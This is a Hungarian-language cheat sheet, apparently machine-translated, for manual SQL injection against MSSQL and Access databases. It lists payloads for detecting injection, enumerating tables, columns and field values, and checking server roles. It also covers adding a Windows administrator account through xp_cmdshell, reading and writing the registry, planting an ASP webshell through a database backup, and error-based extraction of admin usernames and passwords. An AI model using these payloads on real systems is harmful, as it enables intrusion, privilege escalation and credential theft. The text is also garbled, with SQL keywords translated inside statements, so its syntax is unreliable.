1. Állapítsd meg, van-e injekció ; és 1=1 ; és 1=2
2. Előzetes ítélet, hogy mssql-e ; és user>0
3. Bírálj meg az adatbázis-rendszert ; és (select count(*) a sysobjects-ből)>0 mssql ; és (select count(*) az msysobjects-ből)>0 hozzáférés
4. Az injekciós paraméter egy karakter 'and [lekérdezési kritériumok] és ''='
5. A keresés során nincsenek szűrt paraméterek 'and [lekérdezési kritériumok] és '%25'='
6. Találd ki az asztal nevét ; és (válassz Count(*) a [tábla neve])>0
7. Találd ki a mezőt ; és (a tábla nevéből válassza ki a Count(mező neve)>0
8. Találd ki a rekord hosszát a mezőn ; és (a tábla nevéből válassz top 1 len-t (mező neve)>0
9. (1) Tippeld ki a mező ASCII értékét (hozzáférés) ; és (a tábla nevéből válassz top 1 ASC(mid(mező név, 1,1)))>0
(2) Tippeld ki a mező ASCII értékét (mssql) ; és (a tábla nevéből válassza ki a top 1 unicode(alstring(mező név,1,1)))>0
10. Tesztengedély szerkezete (mssql) ; és 1=(select IS_SRVROLEMEMBER('rendszergazdálkodó')); -- ; és 1=(select IS_SRVROLEMEMBER('serveradmin')); -- ; és 1=(select IS_SRVROLEMEMBER('setupadmin')); -- ; és 1=(select IS_SRVROLEMEMBER('securityadmin')); -- ; és 1=(select IS_SRVROLEMEMBER('diskadmin')); -- ; és 1=(select IS_SRVROLEMEMBER('bulkadmin')); -- ; és 1=(select IS_MEMBER('db_owner')); --
11. Fiók hozzáadása az mssql-hez és a rendszerhez ; vezetői master.dbo.sp_addlogin felhasználónév; -- ; exec master.dbo.sp_password null, felhasználónév, jelszó; -- ; vezető master.dbo.sp_addsrvrolemember rendszergazdozó felhasználónév; -- ; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'hálózati felhasználónév jelszó /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Átnézni a katalógust ; create table dirs(paths varchar(100), id int) ; Kerüld be a DIRS executive master.dbo.xp_dirtree 'c:\' ; és (válassz a DIRS-ből a top 1 útvonalat)>0 ; és (válassz ki a top 1 útvonalat a dirs-ből, ahol az utak nincsenek ben('az előző lépésből kapott utak')))>)
(2) Átnézni a katalógust ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert temp exec master.dbo.xp_availablemedia; -- Szerezd meg az összes aktuális meghajtót ; bekerüljön a temp(id) végrehajtó master.dbo.xp_subdirs 'c:\'; -- Szerezz egy listát az alkönyvtárakról ; bekerülni a temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Szerezze meg a könyvtárfa szerkezetét minden alkönyvtárhoz ; beillesztés a temp(id) végrehajtó master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Tekintse meg a fájl tartalmát
13. Tárolt eljárások mssql-ben xp_regenumvalues Registry root kulcs, gyermekkulcs ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' több rekordhalmazban adja vissza az összes kulcsértéket xp_regread Gyökérkulcs, gyermekkulcs, kulcs-érték név ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' adja vissza a beállított kulcs értékét xp_regwrite Gyökérkulcs, gyermekkulcs, értéknév, értéktípus, érték Kétféle értéktípus létezik REG_SZ REG_DWORD karaktertípusok és egész számok ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' a regiszterhez xp_regdeletevalue Gyökérkulcs, alkulcs, értéknév exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' értékek eltávolításához xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' a kulcs eltávolítására, beleértve az összes értéket az alatt lévő értékekkel együtt
14. az mssql biztonsági mentés webshellet hoz létre Használati modell create table cmd(str image); insert in in cmd(str) értékek ('<% Dim oScript %>'); backup database model a disk='c:\l.asp';
15. MSSQL beépített funkciók ; és (@@version)>0 opciót kaphatsz meg a Windows verziószámához ; és user_name()='dbo' annak megállapítására, hogy a jelenlegi rendszer csatlakoztatott felhasználója SA-e ; és (select user_name()))>0 Felrobbantották a jelenlegi rendszer csatlakoztatott felhasználóit ; és (válaszd ki a db_name())>0-t, hogy megkapd a jelenleg csatlakoztatott adatbázist
MSSQL kézzel jegyzetelt adatbázis-megsértés
1. A jelenlegi tábla és oszlop nevének feltárása Küldd be a "having 1=1--" jelzést az injekciós pont után, hogy megkapd az angol nyelvű visszaküldési üzenetet, amelyben egy táblázat és oszlop név látható. Küldd be a "csoportosítás a lista neve alapján, amelynek 1=1--" címet kap, hogy újabb oszlop névet kapj; Folytasd a "csoportosítást a kitett tábla név listájához, a kimutatott tábla neve" beküldéséhez. A második oszlop neve 1=1--", ami egy másik oszlopnevet ad. Ugyanígy kötelezd el, amíg az oldal már nem küld hibaüzeneteket, hogy megkapd az összes oszlopnevet. Érdekesség: Az erőszakos táblaneveket és oszlopneveket a GROUP BY-val együtt használják az SQL utasításokban feltételes ítéletek meghozatalához. Mivel az utasítás hiányos, az adatbázis hibaüzenetet ad vissza, és táblázat és oszlopnév jelenik meg. Az alap módszer csak az aktuális táblát tudja megjeleníteni az adatbázisban, és ha egy táblázat sok oszlopnevet tartalmaz, nagyon nehéz az alap módszert használni.
Először. Minden adatbázis név elérhető Használd a "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])" utasítást, hogy tetszőleges tábla- és oszlopneveket jelenítsd meg az adatbázisban, ahol a "[N]" az N-edik táblát jelöli az adatbázisban. 1. lépés: A pont befecskendezése után a következő utasítást küldd be: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", mert a dbid értéke 1-től 5-ig terjed, amit a rendszer használ, tehát a felhasználónak 6-ból kellett megépítenie, és mi beküldtük a nevet>1, a névmező egy karaktertípus mező, és a számösszehasonlítás hibás lesz, így a beküldés után az IE a következő információkat adja vissza: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] átalakítja a nvarchar értéket 'Northwind' adattípus int-re oszlop. Így a névmező értéke kinyílik, vagyis kapunk egy "Northwind" adatbázis nevet. A "dbid" értékének megváltoztatásával megkaphatod az összes adatbázis nevet.
és 0<>(select count(*) a master.dbo.sysdatabases-ből, ahol name>1 és dbid=[N])-- Módosítsuk N-t, hogy az összes adatbázis nevet felrobbanítsa a 6-ból
Másodszor. A megadott adatbázisban az összes táblanevet elérhetővé téve Az adatbázis nevének megszerzése után most meg kell szerezned az összes táblanevet a könyvtárban, a következő utasítást kell benyújtani: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", itt van a tábla név a master adatbázisban, és a lekérdezés SQL utasítása adja vissza a név értékét, majd összehasonlítsuk azt a 0 számmal, hogy a név értéke elérhető legyen. A benyújtás után az asztal neve, amely "'spt_monito" volt, feltárult. Ezután a többi tábla is megjelenik, és a következő utasítás jelenik meg: "and 0<>(select top 1 name from master.dbo.sysobjects from where xtype='U' and name not in('spt_monito'))", majd egy másik tábla "cd512" néven jelenik meg. Fájl "and name not in(' spt_monito',' CD512',..)" Megtudod az összes asztal nevét.
és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.sysobjects között, ahol xtype='U')-- és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.sysobjects között, ahol xtype='U' és név nem in('[Robbantott tábla név]'))-- és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.sysobjects között, ahol xtype='U' és név nem in('[Robbanó tábla név]', '[Robbantott második tábla név]')))--
4. A megadott táblázatban található összes oszlopnevet megjeleníteni és 0<>(select count(*) a bbs.dbo.sysobjects fájlból, ahol xtype='U' és name='admin' és uid>(str(id))) Alakítsd át az azonosító értéket karaktertípusra, majd hasonlítsuk össze egy egész értékkel. Az azonosító szám nincs ki. Az érték: 949578421 name='tábla név'
és 0<>(Válassz a felső 1 nevet a wutong.dbo.syscolumns oldalról, ahol id=949578421)-- Egy mezőnév az admin táblában van látható
Újraküldés és 0<>(válaszd ki a top 1 nevet a wutong.dbo.syscolumns-ból, ahol id=949578421 és név nem in('adduser'))))-- Fájl "and name not in(' spt_monito',' CD512',..)" Az összes mezőnevet megtalálod az admin táblában.
és 0<>(select count(*) a [megadd az adatbázis nevét].dbo.sysobjects, ahol xtype='U' és name='[A felrobbantandó mező táblaneve]' és uid>(str(id)))--a a robbanóra törendő mező táblanevének ID értéke
és 0<>(Válassz a felső 1 nevet a [adatbázis nevet].dbo.syscolumns között, ahol id=robbanó azonosító érték) – Egy mező neve a robbanó azonosító értéktáblában
és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.syscolumns között, ahol id=Robbanó azonosító érték és név nem in('[Robbantó mező neve]'))))--
5. Olvasd el az adatokat a megadott táblázatban
és 0<(válaszd ki a wutong.dbo.admin A_ID-t a wutong.dbo.admin oldalról, ahol A_UserID>1) – az a tartalom, amely megtörte a A_PWD
és 0<(válassz ki [egy létező mezőt] a [adatbázis nevét megadva].dbo-ból.[tábla név lekérdezéshez] ahol [tartalom felrobbanásához mező neve]>1)--
és 0<(kiválasztani A_ID a wutong.dbo.admin oldalról, ahol A_PWD>1 és A_UserID='admin')-- Az admin jelszó látható
és 0<(Válassz Top 1-et A_UserID FROM admin, ahol A_ID<>1)-- Az id<>1 adminisztrátor neve (fuhao)
és 0<(Válassz Top 1-et A_UserID FROM admin, ahol A_ID <>1 és A_UserID <> 'fuhao')-- A második admin neve nem <> egyenlő (tuiguang)
és 0<(Válassz Top 1-et A_UserID FROM admin, ahol A_ID <>1 és A_UserID <> 'fuhao' és A_UserID <> 'tuiguang')--
Miután megismered az adatbázis tábla nevét és oszlopnevét, a "query statement" segítségével olvashatsz bármilyen információt az adatbázisban. Például, ha az N-edik adatot szeretnéd olvasni egy oszlopban egy táblázatban, beküldheted a következő utasítást: "and (Válassz Top 1 oszlop nevét FROM from table name, ahol id=[N])>1" ([N] az N-edik adatot képviseli az oszlopban), és az IE által visszaadott információból megismerheted a kívánt adatokat.
|